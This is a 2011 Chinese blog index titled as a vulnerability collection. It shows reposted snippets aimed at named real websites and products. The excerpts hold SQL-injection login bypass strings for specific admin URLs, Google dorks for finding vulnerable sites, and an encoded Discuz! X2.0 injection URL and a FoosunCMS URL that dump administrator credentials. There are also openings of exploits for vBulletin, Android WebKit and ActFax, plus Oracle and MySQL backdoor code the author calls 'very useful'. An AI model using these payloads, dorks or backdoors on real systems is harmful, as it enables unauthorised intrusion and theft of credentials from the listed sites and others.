enables的博客_漏洞收集

越南一公司网站绕过验证

http://minhquangcarpet.com/ http://minhquangcarpet.com/admin/login.php username：admin'or 'a'='a password：admin'or 'a'='a 或者 username：'or''=' password：'or''=' &n

职场

休闲

绕过验证漏洞

转载精选 2011-07-04 11:27:34 550 阅读

（转）Discuz! X2.0 SQL注入漏洞 EXP

DZ2.0直接暴管理账号密码（默认前缀的情况下） /forum.php?mod=p_w_upload&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V sZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd 29yZCkgZnJvbSBwcm

sql

漏洞

Discuz!

注入漏洞

X2.0

转载精选 2011-06-29 21:08:18 6587 阅读

（转）Ez sitebuilder 管理员绕过漏洞

转 GOOGLE关键字：inurl:/id/adminlogin.asp Username : 'or''=' Password : 'or''=' 例子： http://www.ez-sitebuilder.com/site/id/adminlogin.asp

管理员

职场

漏洞

休闲

Ez sitebuilder

转载精选 2011-06-24 20:44:43 610 阅读

0-Day WPtouch WordPress Plugin 1.9.27 URL重定向

Google 关键字:"Powered by Wordpress + WPtouch" (with iphone/android User-Agent) 测试使用要先下载软件地址：Software Link: http://wordpress.org/extend/plugins/wptouch/ 方法：http://test.com/

职场

休闲

0day

WordPress

WPtouch

转载精选 2011-06-22 23:34:59 634 阅读

绕过管理员验证登陆！

site: # 1-packageexpress.net/entrack/admin.asp # 2-mecourier.com/entrack/admin.asp # 3-cannondelivery.com/entrack/admin.asp # 4-cannondelivery.com/entrack/admin.asp # 5-barefootmailmoms.com

职场

休闲

验证漏洞

转载精选 2011-06-17 23:08:29 1395 阅读 1点赞

visualcreators.com公司产品过滤漏洞！

转： VisualCreators.com公司产品的 0day usename：xConsoLe'or''=' password：xConsoLe'or''=' Google：Website design by VisualCreators.com 关键字

职场

休闲

0day

注入漏洞

转载精选 2011-06-16 22:25:02 520 阅读

老外的一次跨站测试

老外的一次跨站测试。注射前图1 注射后图2 跨站脚本图3 详细信息如下： Introduction ============== Hm. It's raining, so I was clicking through forums. Found a thread, where someone was asking for trial acc

职场

跨站脚本

休闲

转载精选 2011-06-16 16:42:53 691 阅读

Simple web-server目录遍历漏洞

漏洞描述： Simple web-server是一款WEB服务程序。 Simple web-server不正确处理目录遍历字符序列，远程攻击者可以利用漏洞以WEB权限查看系统文件内容。 ------------------------------------------------------------------------ Software................Simple

职场

休闲

Simple

web-server

转载精选 2011-06-11 16:34:41 1138 阅读

ActFax Server 传真服务器漏洞

受影响软件官方网站： http://www.actfax.com/download/ Version 4.25, Build 0221 (2010-02-11) actfax_setup_en.exe 代码如下： #!/usr/bin/python #----------------------------------------------------------

Server

漏洞

休闲

ActFax

转载精选 2011-06-09 23:44:47 780 阅读

IBM Tivoli Management Framework默认设置漏洞

IBM Tivoli Management Framework默认设置漏洞漏洞编号： NIPC-2011-1740 CVE编号： CVE-2011-2330 漏洞类别：许可，权限和访问控制错误发布日期： 2011-06-02 更新日期： 2011-06-03 CVSS值： 9

职场

ibm

漏洞

休闲

转载精选 2011-06-07 20:42:42 875 阅读

Circus Strategic Communications Inc MYSQL注入漏洞

6月7日国外一套PHP程序的MYSQL注入漏洞 [+] Exploit Title : Circus Strategic Communications Inc.. Sql injection [+] Date : 07 June 2011 [+] Author : k's0uR! [+] Category : WebApps [+] d0rk : "developed and

mysql

SQL

漏洞

数据库

休闲

转载精选 2011-06-07 20:23:42 734 阅读

多个Cisco产品报文远程拒绝服务漏洞

多个Cisco产品报文远程拒绝服务漏洞影响版本: 　　Cisco NX-OS 　　Cisco Nexus 5000 　　Cisco IOS Software 　　Cisco IOS-XE Software 　　Cisco CatOS Software 　　Cisco ASA and Cisco PIX Software 　　漏洞描述: 　　Bugraq ID:

职场

攻击

路由器

休闲

转载精选 2011-06-04 15:09:48 743 阅读

vBulletin 4.0.x => 4.1.2 (search.php)SQL注入漏洞

==================================================================== #vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability# ====================================================

职场

漏洞

数据库

SQL注入

休闲

转载精选 2011-06-03 20:21:42 1793 阅读

Oracle数据库11.2 Express Edition Beta 版有默认的APEX用户和默认密码

Oracle

职场

数据库

休闲

翻译精选 2011-06-01 06:48:38 4004 阅读

雷风cms 漏洞

雷风cms默认是有一个bbs的， bbs根目录下默认是有一个upload.php 源码如下： 01 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "upload/2011/5/201105291829080676.gif) repeat-x;} 14

职场

漏洞

脚本

休闲

cms

转载精选 2011-05-30 15:43:11 1192 阅读

风讯(FoosunCMS) SetNextOptions.asp注入漏洞利用

转自黑面风讯foosun的注册文件存在漏洞，可以暴管理员帐号和密码。漏洞文件： http://www.heimian.com/user/SetNextOptions.asp 利用简单的方法：暴管理员帐号： http://www.heimian.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=

职场

技术

漏洞

休闲

转载精选 2011-05-28 21:31:03 3890 阅读

Android 系统攻击0DAY！ WebKit Use-After-Free Exploit 受影响版本：2.0 ,2.1, 2.1.1

<html> <!– # Exploit Title: android exploit for 2010-1119 use after free # Date: 2011/03/11 # Author: MJ Keith # Software Link: http://www.android.com/ # Version: 2.0 ,2.1 , 2.1.1

系统

手机

移动开发

0DAY

Android

转载精选 2011-04-25 23:01:04 1713 阅读

Oracle 10g Backdoor Code (Oracle数据库10G版后门源代码)

Oracle 10g Backdoor Code (Oracle数据库10G版后门源代码) --on oracle 10.1.0.5.0 BEGIN DBMS_SCHEDULER.CREATE_PROGRAM ( program_name=> 'MyCmd', program_type=> 'EXECUTABLE', program_action =>

oracle

技术

网络安全

后门

翻译精选 2011-04-23 13:32:38 1023 阅读

Mysql5 数据库的后门代码！(经测试，灰常好用)

DROP FUNCTION IF EXISTS lib_mysqludf_sys_info; DROP FUNCTION IF EXISTS sys_get; DROP FUNCTION IF EXISTS sys_set;